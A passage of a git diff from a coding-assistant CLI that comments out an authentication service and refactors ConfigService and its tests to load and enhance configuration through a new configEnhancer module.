the auth service by loading current config +// */ +// async doInitialize(): Promise { +// const authConfig = loadAuthConfig(); +// const authenticated = isAuthenticated(); + +// const state: AuthServiceState = { +// authConfig, +// isAuthenticated: authenticated, +// organizationId: authConfig?.organizationId || undefined, +// }; + +// logger.debug("AuthService initialized", { +// authenticated, +// hasConfig: !!authConfig, +// orgId: state.organizationId, +// }); + +// return state; +// } + +// /** +// * Perform login flow +// */ +// async login(): Promise { +// logger.debug("Starting login flow"); + +// try { +// const newAuthConfig = await doLogin(); + +// this.setState({ +// authConfig: newAuthConfig, +// isAuthenticated: true, +// organizationId: newAuthConfig?.organizationId || undefined, +// }); + +// logger.debug("Login successful", { +// orgId: this.currentState.organizationId, +// }); + +// return this.getState(); +// } catch (error: any) { +// logger.error("Login failed:", error); +// this.emit("error", error); +// throw error; +// } +// } + +// /** +// * Perform logout +// */ +// async logout(): Promise { +// logger.debug("Logging out"); + +// doLogout(); + +// this.setState({ +// authConfig: null, +// isAuthenticated: false, +// organizationId: undefined, +// }); + +// logger.debug("Logout complete"); +// return this.getState(); +// } + +// /** +// * Ensure organization is selected, prompting if necessary +// */ +// async ensureOrganization( +// isHeadless: boolean = false, +// ): Promise { +// if (!this.currentState.authConfig) { +// throw new Error("Not authenticated - cannot ensure organization"); +// } + +// logger.debug("Ensuring organization is selected", { +// currentOrgId: this.currentState.organizationId, +// isHeadless, +// }); + +// const updatedConfig = await ensureOrganization( +// this.currentState.authConfig, +// isHeadless, +// ); + +// this.setState({ +// authConfig: updatedConfig, +// isAuthenticated: true, +// organizationId: updatedConfig?.organizationId || undefined, +// }); + +// logger.debug("Organization ensured", { +// orgId: this.currentState.organizationId, +// }); + +// return this.getState(); +// } + +// /** +// * Switch to a different organization +// */ +// async switchOrganization( +// organizationId: string | null, +// ): Promise { +// if ( +// !this.currentState.authConfig || +// !("userId" in this.currentState.authConfig) +// ) { +// throw new Error( +// "Not authenticated with file-based auth - cannot switch organizations", +// ); +// } + +// logger.debug("Switching organization", { +// from: this.currentState.organizationId, +// to: organizationId, +// }); + +// const authenticatedConfig = this.currentState +// .authConfig as AuthenticatedConfig; + +// const updatedConfig: AuthenticatedConfig = { +// ...authenticatedConfig, +// organizationId, +// }; + +// saveAuthConfig(updatedConfig); + +// this.setState({ +// authConfig: updatedConfig, +// isAuthenticated: true, +// organizationId: organizationId || undefined, +// }); + +// logger.debug("Organization switched", { +// newOrgId: this.currentState.organizationId, +// }); + +// return this.getState(); +// } + +// /** +// * Get available organizations for the current user +// */ +// async getAvailableOrganizations(): Promise< +// { id: string; name: string }[] | null +// > { +// if (!this.currentState.isAuthenticated) { +// return null; +// } + +// try { +// return await listUserOrganizations(); +// } catch (error: any) { +// logger.error("Failed to list organizations:", error); +// this.emit("error", error); +// return null; +// } +// } + +// /** +// * Check if the current user has multiple organizations available +// */ +// async hasMultipleOrganizations(): Promise { +// const orgs = await this.getAvailableOrganizations(); +// return orgs !== null && orgs.length > 0; +// } + +// /** +// * Refresh auth state from disk (useful after external changes) +// */ +// async refresh(): Promise { +// logger.debug("Refreshing auth state from disk"); +// return this.reload(); +// } +// } +export {}; diff --git a/extensions/cli/src/services/ConfigService.test.ts b/extensions/cli/src/services/ConfigService.test.ts index fb7b250d88b..2ca7b9146d6 100644 --- a/extensions/cli/src/services/ConfigService.test.ts +++ b/extensions/cli/src/services/ConfigService.test.ts @@ -1,77 +1,37 @@ -import { - decodePackageIdentifier, - mergeUnrolledAssistants, - ModelRole, -} from "@continuedev/config-yaml"; import { beforeEach, describe, expect, test, vi } from "vitest"; +// Mock modules +vi.mock("../auth/workos.js"); +vi.mock("../configLoader.js"); +vi.mock("../configEnhancer.js"); +vi.mock("./ServiceContainer.js"); + import * as workos from "../auth/workos.js"; +import { configEnhancer } from "../configEnhancer.js"; import * as configLoader from "../configLoader.js"; import { ConfigService } from "./ConfigService.js"; import { serviceContainer } from "./ServiceContainer.js"; import { AgentFileServiceState, SERVICE_NAMES } from "./types.js"; -vi.mock("../auth/workos.js"); -vi.mock("../configLoader.js", () => ({ - loadConfiguration: vi.fn(), - unrollPackageIdentifiersAsConfigYaml: vi.fn(), -})); -vi.mock("../util/logger.js"); -vi.mock("./ServiceContainer.js"); -vi.mock("@continuedev/config-yaml"); - -const defaultModel = { - provider: "anthropic", - name: "claude-sonnet-4.5", - model: "claude-3-5-sonnet-20241022", - roles: ["chat"] as ModelRole[], -}; describe("ConfigService", () => { let service: ConfigService; const mockConfig = { name: "test-assistant", version: "1.0.0", - models: [ - { - name: "existing-model", - model: "gpt-4", - roles: ["chat"], - }, - ], + models: [], systemMessage: "Test system message", } as any; const mockApiClient = { get: vi.fn(), post: vi.fn() }; const mockAgentFileState: AgentFileServiceState = { slug: null, agentFile: null, - agentFileModel: null, - parsedRules: null, - parsedTools: null, + agentFileModelName: null, + agentFileService: null, }; beforeEach(() => { vi.clearAllMocks(); service = new ConfigService(); - - // Setup mocks - vi.mocked(mergeUnrolledAssistants).mockReturnValue(mockConfig as any); - vi.mocked(decodePackageIdentifier).mockImplementation((id) => ({ - uriType: "slug", - fullSlug: { - ownerSlug: "owner", - packageSlug: "package", - versionSlug: "version", - }, - })); - - // Mock the default model loading function - vi.mocked( - configLoader.unrollPackageIdentifiersAsConfigYaml, - ).mockResolvedValue({ - name: "default-chat-model", - version: "1.0.0", - models: [defaultModel], - }); }); describe("State Management", () => { @@ -81,9 +41,10 @@ describe("ConfigService", () => { source: { type: "cli-flag", path: "/path/to/config.yaml" } as any, }); - const state = await service.doInitialize({ + const state = await service.initialize({ authConfig: { accessToken: "token" } as any, configPath: "/path/to/config.yaml", + _organizationId: "org-123", apiClient: mockApiClient as any, agentFileState: mockAgentFileState, }); @@ -92,16 +53,6 @@ describe("ConfigService", () => { config: mockConfig as any, configPath: "/path/to/config.yaml", }); - expect(vi.mocked(mergeUnrolledAssistants)).toHaveBeenCalledWith( - mockConfig, - expect.objectContaining({ - name: "hidden", - version: "1.0.0", - rules: [], - mcpServers: [], - prompts: [], - }), - ); }); test("should initialize with undefined config path", async () => { @@ -110,9 +61,10 @@ describe("ConfigService", () => { source: { type: "default-agent" } as any, }); - const state = await service.doInitialize({ + const state = await service.initialize({ authConfig: { accessToken: "token" } as any, configPath: undefined, + _organizationId: "org-123", apiClient: mockApiClient as any, agentFileState: mockAgentFileState, }); @@ -123,7 +75,7 @@ describe("ConfigService", () => { }); }); - test("should inject rules into config using mergeUnrolledAssistants", async () => { + test("should inject rules into config", async () => { vi.mocked(configLoader.loadConfiguration).mockResolvedValue({ config: mockConfig as any, source: { type: "cli-flag", path: "/config.yaml" } as any, @@ -131,29 +83,26 @@ describe("ConfigService", () => { const expectedConfig = { ...mockConfig, - rules: ["rule1", "rule2"], + systemMessage: + "Test system message\n\nProcessed: rule1\n\nProcessed: rule2", }; - vi.mocked(mergeUnrolledAssistants).mockReturnValue(expectedConfig); + vi.mocked(configEnhancer.enhanceConfig).mockResolvedValue(expectedConfig); - const state = await service.doInitialize({ + const state = await service.initialize({ authConfig: { accessToken: "token" } as any, configPath: "/config.yaml", + _organizationId: "org-123", apiClient: mockApiClient as any, agentFileState: mockAgentFileState, injectedConfigOptions: { rule: ["rule1", "rule2"] }, }); - // Verify mergeUnrolledAssistants was called with the right parameters - expect(vi.mocked(mergeUnrolledAssistants)).toHaveBeenCalledWith( + // Verify configEnhancer was called with the right parameters + expect(vi.mocked(configEnhancer.enhanceConfig)).toHaveBeenCalledWith( mockConfig, - expect.objectContaining({ - name: "hidden", - version: "1.0.0", - rules: ["rule1", "rule2"], - mcpServers: [], - prompts: [], - }), + { rule: ["rule1", "rule2"] }, + mockAgentFileState, ); expect(state.config).toEqual(expectedConfig); @@ -167,9 +116,10 @@ describe("ConfigService", () => { config: mockConfig as any, source: { type: "cli-flag", path: "/old.yaml" } as any, }); - await service.doInitialize({ + await service.initialize({ authConfig: { accessToken: "token" } as any, configPath: "/old.yaml", + _organizationId: "org-123", apiClient: mockApiClient as any, agentFileState: mockAgentFileState, }); @@ -180,14 +130,13 @@ describe("ConfigService", () => { config: newConfig, source: { type: "cli-flag", path: "/new.yaml" } as any, }); - vi.mocked(mergeUnrolledAssistants).mockReturnValue(newConfig); - const state = await service.switchConfig({ - authConfig: { accessToken: "token" } as any, - configPath: "/new.yaml", - apiClient: mockApiClient as any, - agentFileState: mockAgentFileState, - }); + const state = await service.switchConfig( + "/new.yaml", + { accessToken: "token" } as any, + "org-123", + mockApiClient as any, + ); expect(state).toEqual({ config: newConfig, @@ -197,9 +146,10 @@ describe("ConfigService", () => { }); test("should handle switch config errors", async () => { - await service.doInitialize({ + await service.initialize({ authConfig: { accessToken: "token" } as any, configPath: "/old.yaml", + _organizationId: "org-123", apiClient: mockApiClient as any, agentFileState: mockAgentFileState, }); @@ -209,12 +159,12 @@ describe("ConfigService", () => { ); await expect( - service.switchConfig({ - authConfig: { accessToken: "token" } as any, - configPath: "/bad.yaml", - apiClient: mockApiClient as any, - agentFileState: mockAgentFileState, - }), + service.switchConfig( + "/bad.yaml", + { accessToken: "token" } as any, + "org-123", + mockApiClient as any, + ), ).rejects.toThrow("Config not found"); }); }); @@ -226,9 +176,10 @@ describe("ConfigService", () => { config: mockConfig as any, source: { type: "cli-flag", path: "/config.yaml" } as any, }); - await service.doInitialize({ + await service.initialize({ authConfig: { accessToken: "token" } as any, configPath: "/config.yaml", + _organizationId: "org-123", apiClient: mockApiClient as any, agentFileState: mockAgentFileState, }); @@ -239,13 +190,12 @@ describe("ConfigService", () => { config: updatedConfig, source: { type: "cli-flag", path: "/config.yaml" } as any, }); - vi.mocked(mergeUnrolledAssistants).mockReturnValue(updatedConfig); - const state = await service.reload({ - authConfig: { accessToken: "token" } as any, - apiClient: mockApiClient as any, - agentFileState: mockAgentFileState, - }); + const state = await service.reload( + { accessToken: "token" } as any, + "org-123", + mockApiClient as any, + ); expect(state).toEqual({ config: updatedConfig, @@ -259,19 +209,20 @@ describe("ConfigService", () => { config: mockConfig as any, source: { type: "default-agent" } as any, }); - await service.doInitialize({ + await service.initialize({ authConfig: { accessToken: "token" } as any, configPath: undefined, + _organizationId: "org-123", apiClient: mockApiClient as any, agentFileState: mockAgentFileState, }); await expect( - service.reload({ - authConfig: { accessToken: "token" } as any, - apiClient: mockApiClient as any, - agentFileState: mockAgentFileState, - }), + service.reload( + { accessToken: "token" } as any, + "org-123", + mockApiClient as any, + ), ).rejects.toThrow("No configuration path available for reload"); }); }); @@ -283,9 +234,10 @@ describe("ConfigService", () => { config: mockConfig as any, source: { type: "cli-flag", path: "/old.yaml" } as any, }); - await service.doInitialize({ + await service.initialize({ authConfig: { accessToken: "token" } as any, configPath: "/old.yaml", + _organizationId: "org-123", apiClient: mockApiClient as any, agentFileState: mockAgentFileState, }); @@ -295,10 +247,9 @@ describe("ConfigService", () => { accessToken: "token", organizationId: "org-123", } as any); - vi.mocked(serviceContainer.get) - .mockResolvedValueOnce({ apiClient: mockApiClient }) - .mockResolvedValueOnce(mockAgentFileState) - .mockResolvedValueOnce({ isHeadless: false }); + vi.mocked(serviceContainer.get).mockResolvedValue({ + apiClient: mockApiClient, + }); // Mock new config load const newConfig = { ...mockConfig, name: "new-assistant" } as any; @@ -306,7 +257,6 @@ describe("ConfigService", () => { config: newConfig, source: { type: "cli-flag", path: "/new.yaml" } as any, }); - vi.mocked(mergeUnrolledAssistants).mockReturnValue(newConfig); await service.updateConfigPath("/new.yaml"); @@ -327,9 +277,10 @@ describe("ConfigService", () => { }); test("should handle missing API client", async () => { - await service.doInitialize({ + await service.initialize({ authConfig: { accessToken: "token" } as any, configPath: "/old.yaml", + _organizationId: "org-123", apiClient: mockApiClient as any, agentFileState: mockAgentFileState, }); @@ -348,89 +299,12 @@ describe("ConfigService", () => { }); }); - describe("getAdditionalBlocksFromOptions()", () => { - test("should process command line options correctly", () => { - const options = { - rule: ["rule1", "owner/package-rule"], - prompt: ["prompt1"], - model: ["gpt-4"], - mcp: ["owner/mcp-server", "https://example.com/mcp"], - }; - const agentFileState = { - agentFile: { - name: "test-agent", - model: "agent-model", - prompt: "Agent prompt", - }, - parsedRules: ["agent/rule"], - parsedTools: { - mcpServers: ["agent/mcp"], - }, - } as any; - - const result = service.getAdditionalBlocksFromOptions( - options, - agentFileState, - ); - - // Should have package identifiers from models, MCPs, and non-string rules - expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith("gpt-4"); - expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith( - "agent-model", - ); - expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith( - "owner/package-rule", - ); - expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith( - "owner/mcp-server", - ); - expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith( - "agent/rule", - ); - expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith( - "agent/mcp", - ); - - // Should have additional blocks with string rules and URL MCPs - expect(result.additional.rules).toContain("rule1"); - expect(result.additional.rules).toContain("prompt1"); - expect(result.additional.mcpServers).toEqual([ - expect.objectContaining({ - name: "example.com", - url: "https://example.com/mcp", - }), - ]); - expect(result.additional.prompts).toEqual([ - expect.objectContaining({ - name: "Agent prompt (test-agent)", - prompt: "Agent prompt", - }), - ]); - }); - - test("should handle empty options", () => { - const result = service.getAdditionalBlocksFromOptions( - undefined, - undefined, - ); - - expect(result.injected).toEqual([]); - expect(result.additional).toEqual({ - name: "hidden", - version: "1.0.0", - rules: [], - mcpServers: [], - prompts: [], - }); - }); - }); - describe("getDependencies()", () => { - test("should declare auth, apiClient, and agentFile dependencies", () => { + test("should declare auth and apiClient dependencies", () => { expect(service.getDependencies()).toEqual([ - SERVICE_NAMES.AUTH, - SERVICE_NAMES.API_CLIENT, - SERVICE_NAMES.AGENT_FILE, + "auth", + "apiClient", + "agentFile", ]); }); }); @@ -441,9 +315,10 @@ describe("ConfigService", () => { config: mockConfig as any, source: { type: "cli-flag", path: "/old.yaml" } as any, }); - await service.doInitialize({ + await service.initialize({ authConfig: { accessToken: "token" } as any, configPath: "/old.yaml", + _organizationId: "org-123", apiClient: mockApiClient as any, agentFileState: mockAgentFileState, }); @@ -456,14 +331,13 @@ describe("ConfigService", () => { config: newConfig, source: { type: "cli-flag", path: "/new.yaml" } as any, }); - vi.mocked(mergeUnrolledAssistants).mockReturnValue(newConfig); - await service.switchConfig({ - authConfig: { accessToken: "token" } as any, - configPath: "/new.yaml", - apiClient: mockApiClient as any, - agentFileState: mockAgentFileState, - }); + await service.switchConfig( + "/new.yaml", + { accessToken: "token" } as any, + "org-123", + mockApiClient as any, + ); expect(listener).toHaveBeenCalledWith( expect.objectContaining({ config: newConfig, configPath: "/new.yaml" }), @@ -475,9 +349,10 @@ describe("ConfigService", () => { }); test("should emit error on switch failure", async () => { - await service.doInitialize({ + await service.initialize({ authConfig: { accessToken: "token" } as any, configPath: "/old.yaml", + _organizationId: "org-123", apiClient: mockApiClient as any, agentFileState: mockAgentFileState, }); @@ -489,253 +364,14 @@ describe("ConfigService", () => { vi.mocked(configLoader.loadConfiguration).mockRejectedValue(error); await expect( - service.switchConfig({ - authConfig: { accessToken: "token" } as any, - configPath: "/bad.yaml", - apiClient: mockApiClient as any, - agentFileState: mockAgentFileState, - }), - ).rejects.toThrow(); - expect(errorListener).toHaveBeenCalledWith(error); - }); - }); - - describe("addDefaultChatModelIfNone()", () => { - test("should add default model when no chat models exist", async () => { - const config = { - name: "test-config", - version: "1.0.0", - models: [ - { - name: "non-chat-model", - model: "test-model", - roles: ["embed", "rerank"], // No "chat" role - }, - ], - } as any; - - // Mock the default model loading - vi.mocked( - configLoader.unrollPackageIdentifiersAsConfigYaml, - ).mockResolvedValue({ - name: "default", - version: "1.0.0", - models: [defaultModel], - }); - - const result = await service.addDefaultChatModelIfNone( - config, - mockApiClient as any, - { accessToken: "token" } as any, - ); - - expect( - vi.mocked(configLoader.unrollPackageIdentifiersAsConfigYaml), - ).toHaveBeenCalledWith( - [ - { - uriType: "slug", - fullSlug: { - ownerSlug: "anthropic", - packageSlug: "claude-sonnet-4-5", - versionSlug: "1.0.0", - }, - }, - ], - "token", - null, - mockApiClient, - ); - - expect(result.models).toHaveLength(2); - expect(result.models![1]).toEqual(defaultModel); - }); - - test("should not add default model when chat model already exists", async () => { - const config = { - name: "test-config", - version: "1.0.0", - models: [ - { - name: "existing-chat-model", - model: "gpt-4", - roles: ["chat"], - }, - ], - } as any; - - const result = await service.addDefaultChatModelIfNone( - config, - mockApiClient as any, - { accessToken: "token" } as any, - ); - - // Should not call the unroll function since chat model exists - expect( - vi.mocked(configLoader.unrollPackageIdentifiersAsConfigYaml), - ).not.toHaveBeenCalled(); - expect(result).toBe(config); // Should return unchanged config - }); - - test("should not add default model when model with no roles exists (defaults to chat)", async () => { - const config = { - name: "test-config", - version: "1.0.0", - models: [ - { - name: "model-with-no-roles", - model: "gpt-4", - // No roles specified, defaults to including chat - }, - ], - } as any; - - const result = await service.addDefaultChatModelIfNone( - config, - mockApiClient as any, - { accessToken: "token" } as any, - ); - - expect( - vi.mocked(configLoader.unrollPackageIdentifiersAsConfigYaml), - ).not.toHaveBeenCalled(); - expect(result).toBe(config); - }); - - test("should handle empty models array by adding default model", async () => { - const config = { - name: "test-config", - version: "1.0.0", - models: [], - } as any; - - vi.mocked( - configLoader.unrollPackageIdentifiersAsConfigYaml, - ).mockResolvedValue({ - name: "default", - version: "1.0.0", - models: [defaultModel], - }); - - const result = await service.addDefaultChatModelIfNone( - config, - mockApiClient as any, - { accessToken: "token" } as any, - ); - - expect(result.models).toHaveLength(1); - expect(result.models![0]).toEqual(defaultModel); - }); - - test("should handle undefined models by adding default model", async () => { - const config = { - name: "test-config", - version: "1.0.0", - // models is undefined - } as any; - - vi.mocked( - configLoader.unrollPackageIdentifiersAsConfigYaml, - ).mockResolvedValue({ - name: "default", - version: "1.0.0", - models: [defaultModel], - }); - - const result = await service.addDefaultChatModelIfNone( - config, - mockApiClient as any, - { accessToken: "token" } as any, - ); - - expect(result.models).toHaveLength(1); - expect(result.models![0]).toEqual(defaultModel); - }); - - test("should throw error when default model fails to load", async () => { - const config = { - name: "test-config", - version: "1.0.0", - models: [], - } as any; - - const error = new Error("Failed to load default model"); - vi.mocked( - configLoader.unrollPackageIdentifiersAsConfigYaml, - ).mockRejectedValue(error); - - await expect( - service.addDefaultChatModelIfNone( - config, - mockApiClient as any, + service.switchConfig( + "/bad.yaml", { accessToken: "token" } as any, - true, - ), - ).rejects.toThrow( - "No model specified in headless mode (and failed to load default model)", - ); - }); - - test("should throw error when loaded default model is empty in headless", async () => { - const config = { - name: "test-config", - version: "1.0.0", - models: [], - } as any; - - // Mock empty model config - vi.mocked( - configLoader.unrollPackageIdentifiersAsConfigYaml, - ).mockResolvedValue({ - name: "default", - version: "1.0.0", - models: [], // Empty models array - }); - - await expect( - service.addDefaultChatModelIfNone( - config, + "org-123", mockApiClient as any, - { accessToken: "token" } as any, - true, ), - ).rejects.toThrow( - "No model specified in headless mode (and failed to load default model)", - ); - }); - - test("should work with null access token", async () => { - const config = { - name: "test-config", - version: "1.0.0", - models: [], - } as any; - - vi.mocked( - configLoader.unrollPackageIdentifiersAsConfigYaml, - ).mockResolvedValue({ - name: "default", - version: "1.0.0", - models: [defaultModel], - }); - - const result = await service.addDefaultChatModelIfNone( - config, - mockApiClient as any, - undefined, // No auth config - ); - - expect( - vi.mocked(configLoader.unrollPackageIdentifiersAsConfigYaml), - ).toHaveBeenCalledWith( - expect.any(Array), - null, // Should pass null for access token - null, // Should pass null for organization ID - mockApiClient, - ); - - expect(result.models).toHaveLength(1); - expect(result.models![0]).toEqual(defaultModel); + ).rejects.toThrow(); + expect(errorListener).toHaveBeenCalledWith(error); }); }); diff --git a/extensions/cli/src/services/ConfigService.ts b/extensions/cli/src/services/ConfigService.ts index 4a6b7982b1e..391215399ef 100644 --- a/extensions/cli/src/services/ConfigService.ts +++ b/extensions/cli/src/services/ConfigService.ts @@ -1,25 +1,12 @@ -import { - AssistantUnrolled, - decodePackageIdentifier, - mergeUnrolledAssistants, - PackageIdentifier, -} from "@continuedev/config-yaml"; import { DefaultApiInterface } from "@continuedev/sdk/dist/api/dist/index.js"; -import { isStringRule } from "src/hubLoader.js"; -import { getErrorString } from "src/util/error.js"; - import { AuthConfig, loadAuthConfig } from "../auth/workos.js"; import { BaseCommandOptions } from "../commands/BaseCommandOptions.js"; -import { - loadConfiguration, - unrollPackageIdentifiersAsConfigYaml, -} from "../configLoader.js"; +import { configEnhancer } from "../configEnhancer.js"; import { logger } from "../util/logger.js"; import { BaseService, ServiceWithDependencies } from "./BaseService.js"; import { serviceContainer } from "./ServiceContainer.js"; -import { ToolPermissionServiceState } from "./ToolPermissionService.js"; import { AgentFileServiceState, ApiClientServiceState, @@ -27,22 +14,13 @@ import { SERVICE_NAMES, } from "./types.js"; -const DEFAULT_MODEL_IDENTIFIER: PackageIdentifier = { - uriType: "slug", - fullSlug: { - ownerSlug: "anthropic", - packageSlug: "claude-sonnet-4-5", - versionSlug: "1.0.0", - }, -}; - interface ConfigServiceInit { authConfig: AuthConfig; configPath: string | undefined; + _organizationId: string | null; apiClient: DefaultApiInterface; agentFileState: AgentFileServiceState; injectedConfigOptions?: BaseCommandOptions; - isHeadless?: boolean; } /** * Service for managing configuration state and operations @@ -70,258 +48,97 @@ export class ConfigService ]; } - getAdditionalBlocksFromOptions( - injectedConfigOptions: BaseCommandOptions | undefined, - agentFileState: AgentFileServiceState | undefined, - ): { - injected: PackageIdentifier[]; - additional: AssistantUnrolled; - } { - const packageIdentifiers: PackageIdentifier[] = []; - const additional: AssistantUnrolled = { - name: "hidden", - version: "1.0.0", - rules: [], - mcpServers: [], - prompts: [], - }; - - const options = injectedConfigOptions || {}; - - this.processModels(options.model || [], agentFileState, packageIdentifiers); - this.processMcpServers( - options.mcp || [], - agentFileState, - packageIdentifiers, - additional, - ); - this.processAgentFileRules(agentFileState, packageIdentifiers); - this.processRulesAndPrompts( - options.rule || [], - options.prompt || [], - packageIdentifiers, - additional, - ); - this.processAgentFilePrompt(agentFileState, additional); - - return { - injected: packageIdentifiers, - additional, - }; - } - - private processModels( - models: string[], - agentFileState: AgentFileServiceState | undefined, - packageIdentifiers: PackageIdentifier[], - ): void { - const allModels = [...models]; - if (agentFileState?.agentFile?.model) { - allModels.push(agentFileState.agentFile.model); - } - - for (const model of allModels) { - try { - packageIdentifiers.push(decodePackageIdentifier(model)); - } catch (e) { - logger.warn(`Failed to add model "${model}": ${getErrorString(e)}`); - } - } - } - - private processMcpServers( - mcps: string[], - agentFileState: AgentFileServiceState | undefined, - packageIdentifiers: PackageIdentifier[], - additional: AssistantUnrolled, - ): void { - const allMcps = [ - ...mcps, - ...(agentFileState?.parsedTools?.mcpServers || []), - ]; - - for (const mcp of allMcps) { - try { - if (this.isUrl(mcp)) { - additional.mcpServers!.push({ - name: new URL(mcp).hostname, - url: mcp, - }); - } else { - packageIdentifiers.push(decodePackageIdentifier(mcp)); - } - } catch (e) { - logger.warn(`Failed to add MCP server "${mcp}": ${getErrorString(e)}`); - } - } - } - - private processAgentFileRules( - agentFileState: AgentFileServiceState | undefined, - packageIdentifiers: PackageIdentifier[], - ): void { - for (const rule of agentFileState?.parsedRules || []) { - try { - packageIdentifiers.push(decodePackageIdentifier(rule)); - } catch (e) { - logger.warn( - `Failed to get rule "${rule} (from agent file)": ${getErrorString(e)}`, - ); - } - } - } - - private processRulesAndPrompts( - rules: string[], - prompts: string[], - packageIdentifiers: PackageIdentifier[], - additional: AssistantUnrolled, - ): void { - const allRulesAndPrompts = [...rules, ...prompts]; - - for (const item of allRulesAndPrompts) { - try { - if (isStringRule(item)) { - additional.rules!.push(item); - } else { - packageIdentifiers.push(decodePackageIdentifier(item)); - } - } catch (e) { - logger.warn( - `Failed to load rule or prompt "${item}": ${getErrorString(e)}`, - ); - } - } - } - - private processAgentFilePrompt( - agentFileState: AgentFileServiceState | undefined, - additional: AssistantUnrolled, - ): void { - if (agentFileState?.agentFile?.prompt) { - additional.prompts!.push({ - name: `Agent prompt (${agentFileState.agentFile.name})`, - prompt: agentFileState.agentFile.prompt, - description: agentFileState.agentFile.description, - }); - } - } - - private isUrl(value: string): boolean { - return value.startsWith("http://") || value.startsWith("https://"); - } + /** + * Initialize the config service + */ + async doInitialize({ + apiClient, + authConfig, + configPath, + agentFileState, + injectedConfigOptions, + }: ConfigServiceInit): Promise { + // Use the new streamlined config loader + const { loadConfiguration } = await import("../configLoader.js"); + const result = await loadConfiguration(authConfig, configPath, apiClient); + + let config = result.config; + + // Apply injected config if provided + if ( + agentFileState?.agentFile || + (injectedConfigOptions && this.hasInjectedConfig(injectedConfigOptions)) + ) { + config = await configEnhancer.enhanceConfig( + config, + injectedConfigOptions, + agentFileState, + ); - async addDefaultChatModelIfNone( - config: AssistantUnrolled, - apiClient: DefaultApiInterface, - authConfig: AuthConfig | undefined, - isHeadless?: boolean, - ): Promise { - const hasChatModel = !!config.models?.find( - (m) => !!m && (!m.roles || m.roles.includes("chat")), - ); - if (!hasChatModel) { - try { - const modelConfig = await unrollPackageIdentifiersAsConfigYaml( - [DEFAULT_MODEL_IDENTIFIER], - authConfig?.accessToken ?? null, - authConfig?.organizationId ?? null, - apiClient, - ); - const defaultModel = modelConfig?.models?.[0]; - if (!defaultModel) { - throw new Error("Loaded default model contained no model block"); - } - config.models = [...(config.models || []), defaultModel]; - } catch (e) { - if (isHeadless) { - throw new Error( - "No model specified in headless mode (and failed to load default model)", - ); - } else { - logger.error( - "Failed to load default model with no model specified", - e, - ); - } - } + logger.debug("Applied injected configuration"); } - return config; - } - - private async loadConfig( - init: ConfigServiceInit, - ): Promise { - const { - authConfig, - configPath, - apiClient, - injectedConfigOptions, - agentFileState, - } = init; - const { injected, additional } = this.getAdditionalBlocksFromOptions( - injectedConfigOptions, - agentFileState, - ); - - const result = await loadConfiguration( - authConfig, - configPath, - apiClient, - injected, - init.isHeadless, - ); - - const loadedConfig = result.config; - const merged = mergeUnrolledAssistants(loadedConfig, additional); - - const withModel = await this.addDefaultChatModelIfNone( - merged, - apiClient, - authConfig, - init.isHeadless, - ); // Config URI persistence is now handled by the streamlined loader + logger.debug("ConfigService initialized successfully"); - const state = { - config: withModel, + return { + config, configPath, }; - this.setState(state); - - return state; - } - - /** - * Initialize the config service - */ - async doInitialize(init: ConfigServiceInit): Promise { - const result = await this.loadConfig(init); - - // Config URI persistence is now handled by the streamlined loader - logger.debug("ConfigService initialized successfully"); - - return result; } /** * Switch to a new configuration */ - async switchConfig(init: ConfigServiceInit): Promise { + async switchConfig( + newConfigPath: string, + authConfig: AuthConfig, + _organizationId: string | null, + apiClient: DefaultApiInterface, + injectedConfigOptions?: BaseCommandOptions, + ): Promise { logger.debug("Switching configuration", { from: this.currentState.configPath, - to: init.configPath, + to: newConfigPath, }); try { - const state = await this.loadConfig(init); + // Use the new streamlined config loader + const { loadConfiguration } = await import("../configLoader.js"); + const result = await loadConfiguration( + authConfig, + newConfigPath, + apiClient, + ); + + let config = result.config; + + // Apply injected config if provided + if ( + injectedConfigOptions && + this.hasInjectedConfig(injectedConfigOptions) + ) { + config = await configEnhancer.enhanceConfig( + config, + injectedConfigOptions, + ); + + logger.debug("Applied injected configuration"); + } + + this.setState({ + config, + configPath: newConfigPath, + }); + + // Config URI persistence is now handled by the streamlined loader + logger.debug("Configuration switched successfully", { - newConfigPath: init.configPath, + newConfigPath, }); - return state; + return this.getState(); } catch (error: any) { logger.error("Failed to switch configuration:", error); this.emit("error", error); @@ -333,7 +150,10 @@ export class ConfigService * Reload the current configuration */ async reload( - init: Omit, + authConfig: AuthConfig, + _organizationId: string | null, + apiClient: DefaultApiInterface, + injectedConfigOptions?: BaseCommandOptions, ): Promise { if (!this.currentState.configPath) { throw new Error("No configuration path available for reload"); @@ -341,10 +161,25 @@ export class ConfigService logger.debug("Reloading current configuration"); - return this.switchConfig({ - ...init, - configPath: this.currentState.configPath, - }); + return this.switchConfig( + this.currentState.configPath, + authConfig, + _organizationId, + apiClient, + injectedConfigOptions, + ); + } + + /** + * Check if injected config options contain any config to inject + */ + private hasInjectedConfig(options: BaseCommandOptions): boolean { + return !!( + (options.rule && options.rule.length > 0) || + (options.mcp && options.mcp.length > 0) || + (options.model && options.model.length > 0) || + (options.prompt && options.prompt.length > 0) + ); } /** @@ -360,39 +195,40 @@ export class ConfigService try { // Get current auth and API client state needed for config loading const authConfig = loadAuthConfig(); - const { apiClient } = await serviceContainer.get( + const apiClientState = await serviceContainer.get( SERVICE_NAMES.API_CLIENT, ); - if (!apiClient) { + if (!apiClientState.apiClient) { throw new Error("API client not available"); } - const agentFileState = await serviceContainer.get( - SERVICE_NAMES.AGENT_FILE, + // Load the new configuration using streamlined loader + const { loadConfiguration } = await import("../configLoader.js"); + const result = await loadConfiguration( + authConfig, + newConfigPath, + apiClientState.apiClient, ); - const toolPermissionsState = - await serviceContainer.get( - SERVICE_NAMES.TOOL_PERMISSIONS, - ); - - const result = await this.loadConfig({ - agentFileState, - apiClient, - authConfig, + // Update internal state + this.setState({ + config: result.config, configPath: newConfigPath, - injectedConfigOptions: {}, - isHeadless: toolPermissionsState.isHeadless, }); + // Config URI persistence is now handled by the streamlined loader + + // Update the CONFIG service in the container + serviceContainer.set(SERVICE_NAMES.CONFIG, this.getState()); + // Manually reload dependent services (MODEL, MCP) to pick up the new config await serviceContainer.reload(SERVICE_NAMES.MODEL); await serviceContainer.reload(SERVICE_NAMES.MCP); logger.debug("Configuration path updated successfully", { newConfigPath, - configName: result.config?.name, + configName: result.config.name, }); } catch (error: any) { logger.error("Failed to update configuration path:", error); @@ -400,9 +236,4 @@ export class ConfigService throw 